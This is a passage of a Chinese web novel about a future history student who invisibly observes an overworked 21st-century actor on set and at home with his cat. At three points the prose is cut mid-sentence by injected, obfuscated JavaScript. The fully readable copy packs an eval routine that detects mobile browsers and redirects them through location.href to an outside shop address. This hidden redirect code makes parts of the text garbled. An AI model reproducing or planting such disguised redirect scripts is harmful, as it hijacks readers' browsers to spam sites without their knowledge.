高楼之间只剩下一小块被切割得不规则的蓝色,偶尔有飞鸟掠过,却很快消失在建筑后方。她突然意识到,自己刚才在街上走了那么久,却几乎没有看到有人真正抬头。 他们的目光始终落在前方或屏幕里,像是害怕一旦看向别处就会失去平衡。 陈绍宁放慢了脚步。 这是一个无关紧要的动作,却让她立刻与周围的节奏产生了明显的错位。 有人从她身体里穿过,却皱了下眉,像是撞上了一阵说不清的阻力。 她意识到,鬼形态并非完全不存在。 她只是被设定为不重要。 在这个时代,重要的只有效率,目的地和下一个任务。 而一切无法被立即利用的存在,都会被自动忽略。 陈绍宁继续向前。 她不知道这段观察会持续多久,也不知道自己最终会走向哪里。 但她已经确认了一件事。历史书所描述的冷静,是站在安全距离之外的冷静。 真正身处其中,才会明白,这样的世界一直在消耗人类的感知能力。 她忽然理解了,为什么后来的人会选择不再生活在这样的节奏里。 也隐约明白了为什么会有人,在这样的世界里,找不到终点。 ——— “所以孟余住在哪?” 陈绍宁在观察型时空历史课上配备的系统上搜索着孟余,系统很快显示出来他在郊区的地方。 “在拍戏?”陈绍宁看着相对的距离忍不住猜测着。 其实正如陈绍宁的猜测,孟余这会在拍摄最新的一个小成本网剧,这部剧的名字很普通,投资也很普通。虽然借着孟余的热度在开机前有上热搜,但是没有豪华班底,拍摄地点在城郊一处临时搭建的室内棚。棚外是空地和几辆道具车,地面不太平,风一吹就扬起一层细灰。 郊外远处是低矮的山丘,轮廓被雾气泡得有些发白。 天很高,没有城市里被高楼切割的压迫感,但空气里总带着一点灰土味,风一吹地面细碎的沙石就会轻轻挪动。 没有高楼遮挡,太阳直直落下来,把人和器材的影子拉得又短又黑。 反光板立在一旁,像一块块发白的镜子,把刺眼的亮度反弹回棚内。 空气热得有点发黏,远处偶尔传来一两声狗叫,或者货车经过时低沉的引擎声。 孟余这个人每一次拍摄都会到的很早,今天要拍清晨的戏, 天刚亮,一大早孟余就已经在化妆车旁排队。剧组的临时化妆车只有两辆,主演优先,配角轮着来。车门开开关关,里面传出吹风机的声音和化妆师压低的催促声。 “下一个——” 有人探出头来喊。 孟余把手里的早餐袋往旁边一放,站起身,先让了旁边那个刚到的小演员。 “你先吧,今天的通告我看了,你比我现拍。”他说。 小演员愣了一下:“我、我没事……” “没事,我这场晚点。”孟余笑了一下,“别迟到。” 他笑的时候,眼角会微微弯起来,看起来没有那种夸张的弧度,只是轻轻地往上带一点。 化妆车门再次关上,车外的人继续等,有人在抱怨时间太早,有人抱着剧本背词,还有人蹲在地上刷手机。孟余把早餐袋打开,是最普通的豆浆和两个包子。他咬了一口,又抬头看了看天色。 “今天可能会下雨。”他轻声说。 旁边的场务听见了,抬头看了一眼:“别吧,再下就麻烦了。”实在是孟余性格好,大家在他边上也是能很自然的聊天, 孟余没接话,说了个嗯就结束了,然后把豆浆喝完,把空杯折好,丢进旁边的垃圾袋里。 轮到他的时候,天已经完全亮了。 化妆师一边给他打底,一边翻着手机看排班表:“你今天三场吧?” “嗯。” “最后一场夜戏,可能要拖。”她说,“大概是会这样,也是辛苦了些。” “不会。”孟余笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟余离得最近,他下意识往前一步,用手把反光板往旁边挡了一下。 板子边缘还是刮到了他的手腕。 “哎——” 道具小哥吓了一跳,赶紧扶住板子:“对不起对不起,我没拿稳——” 孟余低头看了看手腕,被边角划了一道红痕,但没破皮。 “没事。”他说。 “真的没事吗?要不要找医务?” “真没事。”他笑了一下,“你手没事吧?” 道具小哥愣住了:“我?我没事……” 副导演跑过来:“怎么了怎么了?” “没事。”孟余抢先说,“风太大了,板子没固定好。” 副导演看了眼他的手:“要不你休息一下?” “可以继续。”他点头。 副导演看了他一眼,像是确认他不是在逞强,才转身去催下一步调度。 道具小哥站在原地,脸涨得通红:“哥,对不起啊……” 孟余拍了拍他肩膀:“你刚刚也吓到了,去喝口水吧。” 说完,他已经走回原来的位置,等灯光重新调好,没有人再提这件事,这种事情经常发生,剧组里总是有很多的事情。 拍摄一直到晚上,虽然傍晚的时候天阴着,但好在没有下雨,该拍摄的都拍完了,但夜戏还是拖到很晚。 收工的时候,棚外只剩几盏工作灯。大家都很累,说话声音都小了。 孟余卸完妆,换回自己的衣服,从棚里出来。场务在门口发第二天的通告单,风吹得纸张哗啦响。 “哥,你的。”场务递给他。 “谢谢。” 他看了一眼,明天的戏更早。 “辛苦了。”场务下意识说了一句。 孟余笑了笑:“你们更辛苦。” 他说这话的时候,没有客套的语气,只是很平常地陈述一个事实。 他走出拍摄地,外面的路灯很暗,远处传来夜车经过的声音。 剧组的人三三两两散开,各自往不同方向走。 这一天里,没有谁特别关注他,也没有谁特意记住那块差点砸到人的反光板。可如果有人回头去想,会发现孟余从头到尾,都在下意识地让别人站得稳一点。 而他自己,习惯性地站在风口。 孟余打算先回家喂猫。好在拍摄的地方离家里也不是很远,孟余绕过一片临时搭建的棚区,这里用铁架和防雨布围出一块不太规整的空间。 边角被绳子拉得紧紧的,夜晚风吹的时候,偶尔被风扯出哗啦的声响。 棚外停着几辆道具车,车身贴着已经卷边的剧组标识,轮胎旁堆着没来得及收走的木板和假砖道具。 许久没有拍戏了,孟余心里这样想,他对于每一次拍摄的机会都很重视。 他一直觉得角色无大小,只看自己能不能揣摩出角色的特点和魅力,这样想着孟余顺手扫了一辆自行车,打算骑车回去给福瑞喂饭。 他一天没见到福瑞了,还有点想念。 4. 第四章 在孟余的记忆里,基本上片场的一天都是从天还没亮的时候开始的。 清晨的灰色天空总是比日出更明显,那种灰并不安静,反而带着未被清理干净的噪音残留。 周围都是设备箱滚动的声响,对讲机里断断续续的指令,脚步踩在水泥地上的回声。 新的一日拍摄,孟余到的时候天色刚刚有一点亮起来。 他背着一个并不显眼的包,里面装着当天要用的剧本,替换衣物和水杯。 这天拍摄也没有助理跟着,也没有人专门来迎接。 他只是在人群中点头示意,像一颗被暂时嵌入系统的零件。 陈绍宁跟在他身后。 这是她第一次完整地进入片场,而不是像昨天晚上只是停留在边缘观察。 陈绍宁可以很自如的去任何地方,只是她很快意识到这里和她想象中的工作场所完全不同。 片场不像一个空间,它更像一张正在不断收紧的时间表。 时间被切割成极其细碎的段落,每一个段落都有明确的用途和责任人。 任何一个节点延误,都会被迅速记录并向下传导。 导演助理站在场地中央,对着手里的表不断确认时间。 “灯光五分钟内到位。” “群演准备。” “光替十分钟后走位。” 指令被一条条抛出,没有解释,也不需要回应。 每个人都在点头,却很少有人真正看向说话的人。 他们的目光更多是落在时间上。 这会光替在替孟余走光,而他自己被叫去化妆。 化妆间并不宽敞,几张桌子紧挨着,灯光明亮却缺乏温度。 化妆师手里的动作很快,却不显得敷衍。她一边上妆,一边用余光看着墙上的时间表。 “今天戏多,我得快点化。”她低声说了一句。 化妆师这样说不是抱怨,说白了这个岗位在剧组里也没有什么能抱怨的资格,她这样说更像是在提前适应。 孟余点了点头:“没事。” 又是那句,陈绍宁从孟余这里听到没事已经很多次了。 陈绍宁站在一旁,看着镜子里的他。妆容让他的脸看起来精神了一些,可那种被时间和饥饿压迫出来的疲惫,并没有消失。 化妆还没结束,外面已经有人开始催。 “演员好了没有?” “准备走位了。” 化妆师加快了动作,最后扫了一层定妆粉。 “行了。”她收了化妆的东西随后让开路,“快去吧。” 孟余起身的时候动作很轻,像是怕给任何人添麻烦。 拍摄现场比化妆间更吵。 摄像机,轨道,反光板,道具被摆放在固定的位置上,每一样都有明确的编号。工作人员穿梭其中,却没有人停下来聊天。 这里没有闲置。 群演已经在一旁排好队。 他们穿着统一的服装,站姿并不整齐,却被反复要求调整位置。有人被往左推了一下,有人被往后拽了一步。 “别挡镜头。” “站直一点。” “你往那边去。” 指令不断落下,语气很凶也没有商量的余地。 群演们很少回应,只是默默照做,他们像背景的一部分被呼来喝去,却不被真正看见。 孟余站在主拍位置,听导演讲戏。 导演说得很快,几乎没有停顿。他的语气并不暴躁,甚至算得上克制,可那种紧迫感还是无孔不入。 “这条情绪要收。” “最好是不超过四条。” “我们时间不多。” 时间不多。 这句话像是一道无形的压力,从导演那里向下蔓延。 摄像准备。 第一条开拍。 孟余进入状态很快。 他的表演并不张扬,动作克制情绪收得很紧。导演没有喊停,镜头顺利推进。 “好,过。” 一句话,像是暂时的赦免。 可这种过,并不意味着轻松。 因为保一条之后,还有下一条已经在等。 陈绍宁注意到,几乎没有人因为一条顺利通过而放松。 他们只是立刻转向下一个节点。 就在这时,片场入口处传来一阵短暂的骚动。 一个外卖小哥站在警戒线外,手里提着餐袋,显得有些局促。他左右看了看,似乎不确定该不该往前。 “谁的外卖?”有人问了一句。 “我、我是送外卖的,有人点的送的地址就是这里。”小哥提高了声音。 场务走过去,皱着眉看了一眼时间。 “你怎么现在才到?”语气不重,却带着明显的不满。 “路上有点堵……”小哥解释得很快。 “现在是拍摄时间,你不知道吗?眼睛看什么呢?看不出来吗?”场务打断了他。 周围的人没有看过来,看起来人人都很冷漠,而是因为每个人都在自己的节点上,无法分神。 小哥站在原地,有些不知所措。 “我已经尽量快了。”他说。 “你慢了五分钟。”场务的声音压低了些却更冷,“你知道这一分钟耽误多少人吗?” 小哥张了张嘴,似乎想再解释却很快闭上了,他低下头,把餐袋递过去。 “下次注意。”这句话像是最终裁决,场务接过东西就离开了。 小哥看着人走了沉默着,看着自己更紧急的时间几乎是小跑着离开。 陈绍宁站在一旁,忽然感到一种熟悉的压迫。 那种感觉,她在街道上见过,在地铁里见过。 这种事情真要拿到台面上论对错,都会说没有人是坏人。 场务不是在发泄情绪,他只是负责这一段流程。 导演不是在刁难演员,他只是要保证进度。 外卖小哥也不是故意迟到,他只是被路况拖住。 可所有人,都被时间推着向前,而时间本身不接受解释,人却要在这样的时间里被拥挤着簇拥着一直往前,往钱挤着去。 拍摄继续,群演被重新调整位置,有人因为站得不够自然被反复要求重来。没有人骂他们,只是不断重复同样的指令。 “别动。” “看前面。” “再来一遍。” 有人开始显出疲态,却不敢出声。他们自己心里也都知道,任何多余的情绪,都可能被记录为不专业。 孟余在下一条戏里,被要求提高情绪强度。 “情绪再多一点,再多一点。”导演说。 孟余点头。 他没有问多一点是多少,一般演员都需要自己理解自己要饰演的角色,有人能很快很准确的掌握,大家都按照理解去调整。 这一条拍了三次,每一次结束,导演都会看一眼时间。 快点这两个字基本写在他的脸上,这里的场地都比人更值钱,只有不停的快快快才能剩下来钱,才有钱赚。所以那不是催促某一个人,而是在提醒整个系统我们正在被时间追赶。 但所有人被催促,并不是所有人都能拿到一样的钱,你的岗位,你的价值全在别人的评价里。 中午的休息时间被压缩得很短,盒饭被分发下来,大家就地解决。没有人真正坐下,大多数人都是蹲着吃。 孟余拿到盒饭的时候,已经有些凉了,他并没有介意,只是安静地吃着。 陈绍宁走去边上,她有点好奇二十一世纪的食物,这个被称为盒饭的东西就被孟余拿在手里,但是看了看也就是几个菜和米饭,没有什么特别不一样的,陈绍宁只是注意到,他吃得很快却不狼吞虎咽。像是已经习惯在有限的时间里完成这件事。 不远处有群演蹲在地上吃饭,背靠着道具箱,他们的谈话很轻,很快就被对讲机的声音盖过去。 “下午还有一场大戏,时间可能不够。” 时间。 又是时间。 在这个片场里,时间是一种权力吗?掌握时间的人,决定节奏;被时间追赶的人,只能不断适应。而在这条链条的最末端,是那些无法为自己争取缓冲的人。 下午的拍摄比上午更紧张。 天气开始变热,灯光让空气变得闷。有人开始出汗,却没有时间擦。 外卖小哥没有再出现,没有人打扰场务的节奏,但是陈绍宁发现,那个场务在接下来的几个节点里,语气明显更急了。 场务会催人,他也会被别人催,满脑子想法的导演时不时就有新的念头出来了,一个两个的都在催和被催的路上。 压力像是一种看不见的流体,从上一级不断向下流动,每个人都在承受,却又不得不把它传递下去。 拍摄结束的时候,天已经完全暗了,设备开始收拾,工作人员陆续离场。 这只是一天结束了。 孟余换下戏服,把自己的东西装进包里,他没有表现出明显的疲惫,只是在走出片场的时候,肩膀微微垂了一下。 陈绍宁跟在他身后,看了一整天的她终于明白为什么所有人都在赶时间。 大概是一旦慢下来,就会成为那个被责怪的人,在这样的系统里,没有人是安全的。 ———— “我还好,今天的东西已经拍摄完了。” 孟余在回去的路上拿着手机,耳机线被他捏在手里来回转,好像这样就能稍微减轻一些疲劳一样。 跟他电话的是谁? 陈绍宁有点好奇,整个人跑过去凑过去看着。 好在谁都看不到她,陈绍宁好奇什么直接探头去看就好了。 曲柠? 是谁? 手机屏幕上备注着这个名字,陈绍宁并没有搜到关于孟余圈外朋友的信息,但根据说明来看,演员的人际关系圈内,不属于同行业或交叉行业的朋友或者家人都是不会被记录的,这种信息的隐私也一直保持着。 因此陈绍宁在来之前,即便已经查过孟余的信息也没有看到这个人。 但和孟余离世后似乎有关联的就是两年后离世的一位小有名气的ALS漫画家,资料显示她是出车祸离开的。 陈绍宁不太会把这些信息放进自己的论文,因此也没有太在意这个人是谁。 利川的晚上其实还是挺热闹的,从拍戏的地方离开逐渐回到市区,街上的灯光也慢慢的增多,只是孟余回到家的时候,楼道已经很安静了。 声控灯亮了一瞬,又很快暗下去。 他轻轻关上门,屋里只开着客厅角落的一盏小台灯,暖黄的光刚好铺到沙发边缘,剩下的地方都沉在柔软的阴影里。 福瑞从沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他停了一下,看向空气中的某个点,像是在等皇帝的反应。 然后是下一句。 “若官仓不开,百姓自会开仓。” 这句台词写得很直。 孟余却没有用威胁的语气说出来,而是像在提醒不是他们要造反,是你把他们逼到那里。 他自己也愣了一下。 他把剧本拿起来,翻到人物小传那一页,又重新读了一遍。 “柳疏自幼见惯饥荒,性情坚忍,不善求饶。” 不善求饶,孟余想了想,把语气再收了一点,他再次站好,肩膀微微向前,像是长期背书、习武留下的姿态。 “草民知此言不敬。”他说,“但今日若不言,来日再无可言之人。” 这句话出口的时候,他没有抬高声音,反而更低了像是把最后一点希望放在对方手里。 他站在那里,沉默了几秒。 接下来是皇帝暴怒,下令拖出去斩。 剧本上写的是柳疏被侍卫押走,仍回头高声道“百姓有粮,天下自安”。 孟余却没有立刻念这句。 他闭了闭眼。 柳疏是一个会武功的人,他完全可以反抗。 可他没有。 这不是因为他不能打,而是他是来让一句话,至少被说出口。 孟余慢慢转过身,仿佛背后真的站着两名侍卫。 他把手臂往后收了一下,像是被人按住。 然后他抬起头,看向想象中的大殿深处。 “草民但死无妨。”他说,“只求陛下,夜里听一听城外风声。” 最后那句台词,他念得极轻。 轻得像是一阵风。 念完之后,屋子里重新安静下来。 福瑞在沙发上翻了个身,发出一点窸窣的声音。 孟余站在那里,过了好一会儿才慢慢放松下来。 他走回茶几旁,把剧本合上,手指在封面上停了一下。这个角色也许会被删减,也许根本不会轮到他,也许试镜时连一句完整的台词都说不完。 但他还是会把每一页都读完,把每一句都认真想一遍。 就像柳疏明知道那句话说出口会死,却还是要站到殿上。 屋里的灯光很暖,窗外的夜色却很深。 孟余把剧本放好,轻声对福瑞说:“他挺傻的,是吧?” 猫没理他,他笑了一下。 然后低头,又把刚才那句台词小声地重复了一遍。 陈绍宁盘腿坐在不远处看他自己在演戏,虽然自小长大是能看到AI演员的作品,也能看到很早很早,比她现在带着的这个时代更早或者更晚的演员的作品也看过很多。 但是她就是不太理解,为什么要拍摄这些东西呢? 就她看了一整天剧组的拍摄,好像更多的就是被钱组成的鞭子在不停的抽打着每一个人,但是大家似乎还是很喜欢在镜头前演绎着虚拟的人物。 还是说人物是虚拟的,但情绪不是虚拟的? 现在没有人能给陈绍宁答案,她似乎也不在意答案,只是跟着孟余,看着做什么她就跟着在边上看着。 5. 第五章 这人是真爱当演员,是真的爱戏。 陈绍宁看着孟余一个人把这部分戏所有的角色都演了一遍,拼拼凑凑也看明白了是个什么故事。 柳疏的佩剑叫青简。 按照孟余的时代说,简是古代用来写字的竹片或木片。 所以柳疏如果不拿着剑去皇宫逼开放官仓,而是选择进官场用另一种方式为大众博生路的话,会不一样吗? 陈绍宁对这个武侠小说不是很了解,但拼凑孟余的话,似乎是纪元616年左右的时代背景。 她掰着手指计算对于孟余是古代的历史对于她而言得是远远远远远远古了,纪元3000年到纪元616年,陈绍宁觉得下一次论文倒是能去这样的时间里看看是不是真的有柳疏这样奇怪的人。(1 奇怪?陈绍宁突然好奇自己为什么用这样的词。 不对,不应该说柳疏是奇怪的人,他是一个有气节的人。 对于这样的人应该是尊重才好,在大多数人还是觉得自己不算是人的时候,为大家谋求活路的人,已经算是圣人了。 孟余就这样演了很久很久,彻底静下来大约是是在十一点之后。 孟余没有睡,城市并没有真正睡着,只是声音被过滤了。 高处的广告灯熄灭了一部分,剩下的光不再咄咄逼人,而是像被疲惫拖慢的呼吸。 远处的车流声变成一种持续而模糊的背景音,像海浪却没有起伏。 孟余关掉了客厅的大灯,只留下一盏落地灯。 暖黄色的光铺在地板上,把家具的影子拉得很长。猫爬架被灯影切成不规则的形状,福瑞趴在上面,尾巴垂下来,轻轻晃了一下。 陈绍宁站在一旁,盘算着今天的观察型历史课的资料都整理好了,再呆些时间就得回去了。 孟余坐在沙发上,猫窝在他腿边。他一只手搭在福瑞背上,指尖轻轻顺着毛抚过去,动作极轻,像是在刻意控制力道。 福瑞发出低低的呼噜声。 那声音并不大,却在安静的房间里显得异常清晰。 孟余低头看了一眼,嘴角微不可察地动了一下,看得出来这个时刻的他还是挺放松的。 他另一只手拿着手机,屏幕的冷光映在他脸上,把本就不算锋利的轮廓显得更加疲惫。 他滑动着页面,动作并不急,却一页一页翻得很认真。 除了柳疏的试镜外,孟余还得自己找机会,行业资讯,试镜信息,临时通告。 他几乎不需要点开内容,只看标题就能判断是否与自己有关。可即便如此,他还是会点进去,看完再返回。 刷新,没有更新。 再刷新。 这个动作本身并不焦躁,孟余没有表现出明显的不安,也没有急切地切换页面,只是重复着同一个行为,像是在履行某种责任。 仿佛只要他还在看,还在等,就说明他没有放弃,而放弃在这个行业里,似乎是一种不可饶恕的罪。 福瑞翻了个身,把肚子露出来。 孟余的手停了一下,随后顺着它的动作挠了挠腹部。 猫的呼噜声变得更响了些,爪子无意识地抓了抓空气。 “别闹。”孟余语气很轻着低声说,几乎是哄着福瑞乖一些,“你会不会不舒服?” 他继续刷着手机,页面一次次加载,又一次次归于平静。时间在这种重复中被拉得很长,长到几乎没有边界。 等待,没有明确的终点。 也没有进度条。 等待只是不断消耗人的注意力、耐心和自我安慰能力,而这种消耗,在统计里是不可见的。 福瑞忽然站起来,从他腿边跳下去,落地的时候很轻,却还是让孟余的视线立刻跟了过去。 猫在客厅里绕了一圈,走向饮水碗,水已经不多了,孟余看了一眼,放下手机,起身准备去倒水。 他站起来的时候,动作比刚才慢了一点,像是身体终于在夜里松懈下来,疲惫开始显形。 就在他转身的一瞬间,脚下忽然传来一声短促的叫声。 “喵——” 声音不大,却带着明显的惊吓,孟余整个人僵住了。他低头看见福瑞被他的脚尖碰到,往后退了一步,尾巴瞬间炸开。 那一刻,他的反应几乎是本能的。 “对不起,对不起。”他立刻蹲下身,完全顾不上形象,双膝几乎贴着地面。 他伸出手,却没有立刻去碰猫,而是停在半空中,确认福瑞是否愿意靠近。 “刚刚没注意。是不是吓到了?”他的语气带着明显的慌乱,福瑞站在原地,耳朵向后贴着,显然还没缓过来。 孟余没有催福瑞,他只是保持着那个姿势,一动不动,给猫足够的时间。 “对不起。”他又说了一遍,这是一种发自本能的反省。 过了几秒,福瑞慢慢走近,嗅了嗅他的手指。 孟余这才轻轻把它抱进怀里。 “真的对不起,我刚刚走神了。”他说这句话的时候,语气低得几乎像是在向自己解释。 福瑞在他怀里扭动了一下,很快又放松下来。呼噜声重新响起,却比刚才更轻。 孟余用手轻轻抚着它的背,动作一下一下,非常耐心。 他低着头,额头几乎贴着猫的头顶。 “没事了,没事了。”这句话,他不知道是在对谁说,陈绍宁站在原地,忽然感到一种难以言说的窒息。 陈绍宁觉得孟余很在意猫是否被吓到,在意自己是否踩痛了它,在意对方是否已经原谅。 可在他的生活里,却几乎没有人会蹲下来,确认他的情绪。 没有人问他你是不是被吓到了?你刚刚那一下,会不会疼? 他抱着猫站了一会儿,直到确认福瑞完全恢复,才把它放回地上。 然后他去倒水,动作依旧很轻,像是害怕再制造任何不必要的惊扰。水倒进碗里,发出细小的声响。福瑞凑过去喝水,尾巴轻轻扫过他的脚踝。 孟余低头看着,神情终于稍微放松了一些。 他回到沙发上,重新拿起手机。屏幕亮起他几乎是条件反射般地刷新了一下。 页面加载,没有新内容。 那一刻,他的表情并没有明显变化。 可陈绍宁清楚地看见他的肩膀微不可察地塌了一点。 他没有继续刷新,只是把手机放在一旁,靠在沙发背上,闭上眼睛。 喝完水的福瑞跳上来,窝进他怀里。 屋子里很安静,只有猫的呼噜声,和远处模糊的城市噪音。 手机震了一下,孟余低头看了一眼屏幕,脚步顿了一瞬,随后把福瑞放在一边开门出去,跟着孟余的动作,陈绍宁也跟着一起出去。 “快递到了。”他低声说了一句,像是在确认。 陈绍宁跟着他拐进了一条住宅区的小路,楼与楼之间的距离很近,灯光昏暗,地面有些不平。几辆电动车随意停在路边,充电线拉得很长。 门口的快递柜亮着蓝色的提示灯。 他走过去,输入取件码,动作熟练得像是已经重复过无数次。柜门弹开的瞬间,他下意识往旁边让了一步,像是担心挡住别人。 其实并没有其他人。 柜子里放着两个包裹。 一个很轻,包装简单;另一个稍微大一些,上面贴着宠物用品的标签。 孟余把它们一起取出来,单手抱着,另一只手关上柜门。 就在这时,他的手机又震了一下。 是客服消息。 陈绍宁站在一旁,看见他停下脚步,点开对话框。 【您好,您的包裹已签收,如有问题请及时联系我们。】 孟余盯着那行字看了两秒,然后很快打字回复。 【好的,谢谢。】 对方几乎是立刻又发来一条。 【亲,记得给五星好评哦~如果方便的话,可以联系我领取返现。】 陈绍宁看到他微微皱了一下眉,不是不耐烦,更像是一种短暂的犹豫,他低头看了看怀里的包裹,又看了看手机屏幕,最终敲下了一行字。 【没事没事,挺好的。】 发送,几乎是在发送成功的同时,对方又弹出一条消息。 【那也可以先好评哦~返现不领也没关系的~】 孟余看着那行字,沉默了一会儿,然后他点进评价页面,认真地拍了两张照片。 一张是外包装,一张是拆开后穿在身上的棉服。 光线不太好,他还特意往旁边挪了挪,让路灯的光落在衣服上。拍完之后,他仔细看了一遍,又重新拍了一次。 陈绍宁站在他身侧,看着他把图片一张张上传,填写评价内容。 【衣服挺厚的,质量不错,尺码也合适。】 没有多余的修饰,也没有情绪。 提交。 评价完成之后,系统自动跳转到返现页面。 孟余没有点,他把手机锁屏,塞进口袋,抱着包裹继续往楼里走。 老旧的单元楼,楼道里没有电梯。 狭窄的楼梯间灯光昏黄,墙壁上贴着已经卷边的通知单。孟余一步一步往上走,脚步不急不慢,却显得有些沉。 门口的地垫已经有些旧了,上面印着模糊不清的图案。他掏出钥匙的时候,怀里的包裹晃了一下,他下意识收紧手臂。 门开了。 一股混合着洗衣液和猫粮的味道扑面而来。 屋子不大,一眼就能看完。客厅和厨房连在一起,家具不多,却收拾得很干净。靠窗的位置放着一个猫爬架,上面趴着一只橘白相间的猫。 听见动静,猫抬起头,尾巴轻轻晃了一下。 “福瑞。” 孟余换了鞋,低声叫了一句,猫立刻跳下来,绕着他的脚转圈,喵了一声。 分别不到十来分钟,福瑞的声音远没有他刚回来的时候黏糊,但还是带着明显的熟悉感。 孟余蹲下身,把怀里的猫罐头拆开倒进碗里,福瑞立刻凑过去吃了起来。 孟余站在一旁,看了一会儿,确认它吃得安心,才起身把棉服放到沙发上,他抬手揉了揉眉心,动作很轻,却停留了很久。 陈绍宁站在客厅中央,第一次有了明确的困惑。 资料里对孟余的职业标注非常清晰—— 演员,高收入群体。 历史数据库里对这个时期的演员收入有明确统计,远高于社会平均水平。即便不是顶流,也被视为经济上相对安全的职业。 可眼前的生活,与那些描述几乎没有任何重合。 廉价的棉服,几罐猫粮,老旧的小区,没有助理,没有豪车,甚至没有多余的空间。 更重要的是他身上那种挥之不去的疲惫,一种长期处于随时可能被打断的状态下形成的内耗。 孟余起身把棉服展开。他认真地检查了一遍走线,又摸了摸内里的填充,像是在确认这件衣服能不能陪他过完这个冬天。 然后他把吊牌剪掉,衣服挂好衣架最后放进衣柜。 陈绍宁忽然想起,刚才在快递柜前,他对客服说的那句没事没事,看起来像是一种过于自然的退让。 像是已经默认了自己的需求不重要。她突然理解了资料里某一条冷静却刺眼的评价,“性格温和,习惯性自我消极。” 当时她并没有完全理解这句话的含义。 现在,她站在这间并不宽敞的客厅里,看着孟余给猫添水,收拾垃圾,把工作用的衣服挂好,忽然明白了那并不是消极。 只是一个善良的人在鼓励占用资源的环境里在努力的帮助一切自己可以帮助的人而形成的本能反应。 可惜善良在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149305|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个行业并不是一种优势,它被当成了一种好控制的特质。 福瑞吃完罐头,跳上沙发,挤到他身边。孟余下意识伸手,把猫抱进怀里。 猫在他怀里找了个舒服的位置,很快就安静下来,孟余的身上始终透着拮据与疲惫。 陈绍宁站在原地,很久没有动,她只是在想孟余这样照顾猫的情绪,照顾客服的情绪,照顾每一个不想被打扰的关系。 可这个世界,没有人为他预留一个被照顾的位置。 ——— “这就是你第一次观察型历史课程的资料????” 陈绍宁坐在星际联合大学的公共记忆花园,朋友拿着她的资料前后翻看了许久。 ”我就写了一页纸的资料,你至于翻看那么久吗?” 陈绍宁结束第一轮的观察型历史课程,她就加紧把资料整理出来,和朋友约在公共记忆花园见面,她刚到的时候,这里的灯带刚刚亮起。 这里不像教学区那样明亮整齐,低矮的草坪之间散布着半透明的数据亭,像是落在地面的光块。远处是缓慢流动的水面,水并不深,却映着天穹投影。 今天的投影是某颗环形行星的薄暮,淡紫色的云层在头顶缓缓移动。 陈绍宁坐在靠水边的一张弧形长椅上,终端悬浮在两人之间。 她对面是林序,也是对观察型历史课程抱有真正兴趣的人。 “你第一轮资料都整理完了?”林序问。 “刚提交。”陈绍宁点头,“系统说审核需要两天,过了才能申请第二次观察。” 林序把终端往自己这边拉了一点,界面上是陈绍宁上传的资料摘要。 观察主题(暂定):二十一世纪个体生存压力结构 关键样本:影视行业从业者 “你居然选演员。”林序笑了一下,“大家都去看历史事件的节点,你去看人。” “我本来也是随便选的方向。”陈绍宁说,“但看着看着,反而觉得可以多看看了。” 水面上有光波轻轻晃动,一群低空飞行的维护无人机掠过没发出什么声音,只在远处留下一道细细的尾光。 林序翻到她的第一段记录。 “城市节奏与人类生理节律失配,这个挺有意思的。”她说,“你是怎么得出这个判断的?” “不是判断,是体感。”陈绍宁靠在椅背上,“那边的人走路速度,信息接收频率,噪音强度,都比我们现在高太多。不是努力的问题,是身体长期被迫超负荷。” 林序点了点头:“这在教材里一般归到工业化后期适应期阵痛。” “教材太轻了,那么多的事情经过时间的压缩都变成轻飘飘一句话。”陈绍宁说。她顿了顿又补了一句:“而且教材默认后来我们解决了,就不太追问那些没撑过去的人。” 林序没有立刻接话。 花园另一侧,有几名学生正围着一块立体投影讨论什么,声音被环境降噪系统削弱成模糊的背景。 “这个演员,”林序把话题拉回来,“就是你反复提到的那个人?” “嗯。” “他很有代表性吗?” 陈绍宁摇头。 “他一点都不典型。” 林序愣了一下:“那你为什么选他?” 陈绍宁看着水面,慢慢说: “因为他没有崩溃,没有闹事,也没有被当成受害者。他就是……慢慢被消耗。” 林序沉默了几秒。 “那你这轮观察的结论是什么?”她问。 “还没成结论。”陈绍宁说,“但我开始理解一些人的痛苦。” “那说明你的研究是有效的。” “嗯。” 林序低声重复了一遍,语气里带着一点犹豫:“我以前觉得过去的人太情绪化了。” “我也是。”陈绍宁说,“但如果一个人在每一个节点都被轻微挤压。” 她停了一下。 “那最后倒下的时候,真的找不到一个凶手。” 风从水面吹过,带着一点湿润的凉意。远处的数据亭里有人提交资料,界面闪过淡蓝色的通过提示。 “你要申请第二轮?”林序问。 “先申请观察型历史课程吧,如果最后有必要的话,再申请深度历史课。” 林序一下坐直了:“深度历史课?那审核期有点久啊!” “嗯。” “你疯了。”林序低声说,“那是要抹记忆的。” “我知道。” “可是深度历史课次数有限,你以后可能想看更大的历史节点——” “我现在想看的是这个。”陈绍宁打断她。 林序看着她,像是在确认她不是一时冲动。 “你真的觉得,一个演员的生活,值得用一次深度名额?” 陈绍宁轻轻笑了一下。 “我不是去看演员。”她说,“我是去看一个人是怎么活的。” 林序没有再反驳。 她低头看着那份资料,手指在空中滑动,把页面翻回最前面。 “系统要我们先交观察型报告,再开放第二次权限。”她轻声说,“大概也是怕大家一上来就想冲进去改变什么。” “改变不了。”陈绍宁说,“这才是最难的地方。” 